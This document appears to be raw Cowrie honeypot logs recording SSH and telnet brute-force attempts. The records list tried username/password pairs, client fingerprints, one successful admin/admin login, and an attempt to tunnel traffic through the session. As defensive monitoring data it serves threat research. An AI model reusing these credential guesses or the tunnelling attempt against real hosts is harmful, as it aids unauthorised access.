{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":56098,"dst_ip":"159.203.135.109","dst_port":22,"session":"30a756ab1444","protocol":"ssh","message":"New connection: 89.223.69.22:56098 (159.203.135.109:22) [session: 30a756ab1444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:52:46.817375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:52:46.821250Z","src_ip":"89.223.69.22","session":"30a756ab1444","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:52:46.939075Z","src_ip":"89.223.69.22","session":"30a756ab1444","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq123","message":"login attempt [root/zaq123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:52:47.293379Z","src_ip":"89.223.69.22","session":"30a756ab1444","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:52:48.413654Z","src_ip":"89.223.69.22","session":"30a756ab1444","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":61442,"dst_ip":"10.17.0.5","dst_port":22,"session":"5cc5e343bf48","protocol":"ssh","message":"New connection: 87.251.64.176:61442 (10.17.0.5:22) [session: 5cc5e343bf48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:53:04.687985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:53:04.693683Z","src_ip":"87.251.64.176","session":"5cc5e343bf48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:53:04.791758Z","src_ip":"87.251.64.176","session":"5cc5e343bf48","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:53:05.087729Z","src_ip":"87.251.64.176","session":"5cc5e343bf48","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:53:05.187764Z","session":"5cc5e343bf48","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:53:05.296626Z","src_ip":"87.251.64.176","session":"5cc5e343bf48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:53:05.532846Z","src_ip":"87.251.64.176","session":"5cc5e343bf48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":41834,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e382049e14c","protocol":"ssh","message":"New connection: 139.19.117.129:41834 (159.203.135.109:22) [session: 3e382049e14c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:53:46.280365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:53:46.284854Z","src_ip":"139.19.117.129","session":"3e382049e14c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:53:46.379195Z","src_ip":"139.19.117.129","session":"3e382049e14c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:7a:04:22:5d:76:74:7a:a8:76:76:91:19:bb:73:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCBBNG9ZWFubdzlVhtetnJwslvXGX4+/xBYiTwufkD05brVannOmn7WnRoh6jq/TIZdo1kC7732/AoUMA98dtHeQ6YflAFbuD7JdgNy1SFeqTHJCBXc2ejFAa+uamDJsNHUKpke9QHUgBW0piXp1ChhXu94rRTJ2wGzBM0uy9C0FhU4pjMAzsb+C1XI8V/H6SID9bsVgymPCto85giCXNjSj4LaZXpAVHRXOmenDODjLPhL6b9IdEsFigDYtthaqNyk+w9WrMfN4sjNHq7y9p60attSSVisAU58zJ2fsZotiVPByik7IXyLRqzd27IAlCLgUq6I+hLkQfqYr5/khVv3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 83:7a:04:22:5d:76:74:7a:a8:76:76:91:19:bb:73:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:53:46.569052Z","src_ip":"139.19.117.129","session":"3e382049e14c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:7a:04:22:5d:76:74:7a:a8:76:76:91:19:bb:73:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCBBNG9ZWFubdzlVhtetnJwslvXGX4+/xBYiTwufkD05brVannOmn7WnRoh6jq/TIZdo1kC7732/AoUMA98dtHeQ6YflAFbuD7JdgNy1SFeqTHJCBXc2ejFAa+uamDJsNHUKpke9QHUgBW0piXp1ChhXu94rRTJ2wGzBM0uy9C0FhU4pjMAzsb+C1XI8V/H6SID9bsVgymPCto85giCXNjSj4LaZXpAVHRXOmenDODjLPhL6b9IdEsFigDYtthaqNyk+w9WrMfN4sjNHq7y9p60attSSVisAU58zJ2fsZotiVPByik7IXyLRqzd27IAlCLgUq6I+hLkQfqYr5/khVv3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:53:46.572419Z","src_ip":"139.19.117.129","session":"3e382049e14c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:7a:04:22:5d:76:74:7a:a8:76:76:91:19:bb:73:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCBBNG9ZWFubdzlVhtetnJwslvXGX4+/xBYiTwufkD05brVannOmn7WnRoh6jq/TIZdo1kC7732/AoUMA98dtHeQ6YflAFbuD7JdgNy1SFeqTHJCBXc2ejFAa+uamDJsNHUKpke9QHUgBW0piXp1ChhXu94rRTJ2wGzBM0uy9C0FhU4pjMAzsb+C1XI8V/H6SID9bsVgymPCto85giCXNjSj4LaZXpAVHRXOmenDODjLPhL6b9IdEsFigDYtthaqNyk+w9WrMfN4sjNHq7y9p60attSSVisAU58zJ2fsZotiVPByik7IXyLRqzd27IAlCLgUq6I+hLkQfqYr5/khVv3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 83:7a:04:22:5d:76:74:7a:a8:76:76:91:19:bb:73:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:53:46.668436Z","src_ip":"139.19.117.129","session":"3e382049e14c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:7a:04:22:5d:76:74:7a:a8:76:76:91:19:bb:73:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCBBNG9ZWFubdzlVhtetnJwslvXGX4+/xBYiTwufkD05brVannOmn7WnRoh6jq/TIZdo1kC7732/AoUMA98dtHeQ6YflAFbuD7JdgNy1SFeqTHJCBXc2ejFAa+uamDJsNHUKpke9QHUgBW0piXp1ChhXu94rRTJ2wGzBM0uy9C0FhU4pjMAzsb+C1XI8V/H6SID9bsVgymPCto85giCXNjSj4LaZXpAVHRXOmenDODjLPhL6b9IdEsFigDYtthaqNyk+w9WrMfN4sjNHq7y9p60attSSVisAU58zJ2fsZotiVPByik7IXyLRqzd27IAlCLgUq6I+hLkQfqYr5/khVv3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:53:46.671232Z","src_ip":"139.19.117.129","session":"3e382049e14c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":40442,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c7ffa0f9620","protocol":"ssh","message":"New connection: 109.172.54.111:40442 (10.17.0.5:22) [session: 4c7ffa0f9620]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:53:52.653977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:53:52.658823Z","src_ip":"109.172.54.111","session":"4c7ffa0f9620","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:53:52.753695Z","src_ip":"109.172.54.111","session":"4c7ffa0f9620","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":48192,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb9dcb6e89b6","protocol":"ssh","message":"New connection: 103.15.222.183:48192 (159.203.135.109:22) [session: fb9dcb6e89b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:53:52.816081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:53:52.821997Z","src_ip":"103.15.222.183","session":"fb9dcb6e89b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19weed","message":"login attempt [root/19weed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:53:53.041857Z","src_ip":"109.172.54.111","session":"4c7ffa0f9620","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:53:53.073091Z","src_ip":"103.15.222.183","session":"fb9dcb6e89b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"berlin","message":"login attempt [root/berlin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:53:53.821685Z","src_ip":"103.15.222.183","session":"fb9dcb6e89b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:53:54.147130Z","src_ip":"109.172.54.111","session":"4c7ffa0f9620","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:53:55.073353Z","src_ip":"103.15.222.183","session":"fb9dcb6e89b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:53:56.280487Z","src_ip":"139.19.117.129","session":"3e382049e14c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50478,"dst_ip":"10.17.0.5","dst_port":23,"session":"90e5c1aa6715","protocol":"telnet","message":"New connection: 152.42.224.71:50478 (10.17.0.5:23) [session: 90e5c1aa6715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:54:14.881167Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":60376,"dst_ip":"159.203.135.109","dst_port":22,"session":"827e7b47999f","protocol":"ssh","message":"New connection: 193.37.70.224:60376 (159.203.135.109:22) [session: 827e7b47999f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:54:30.520051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:54:30.525440Z","src_ip":"193.37.70.224","session":"827e7b47999f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:54:30.616552Z","src_ip":"193.37.70.224","session":"827e7b47999f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"87654321q","message":"login attempt [root/87654321q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:54:30.895848Z","src_ip":"193.37.70.224","session":"827e7b47999f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:54:31.988958Z","src_ip":"193.37.70.224","session":"827e7b47999f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.254.47.154","src_port":42524,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfb55f6307d3","protocol":"ssh","message":"New connection: 47.254.47.154:42524 (10.17.0.5:22) [session: dfb55f6307d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:55:04.936832Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:55:05.012744Z","src_ip":"47.254.47.154","session":"dfb55f6307d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":42176,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfec52ec071a","protocol":"ssh","message":"New connection: 80.94.92.184:42176 (10.17.0.5:22) [session: bfec52ec071a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:55:26.359039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:55:26.622905Z","src_ip":"80.94.92.184","session":"bfec52ec071a","protocol":"ssh"}
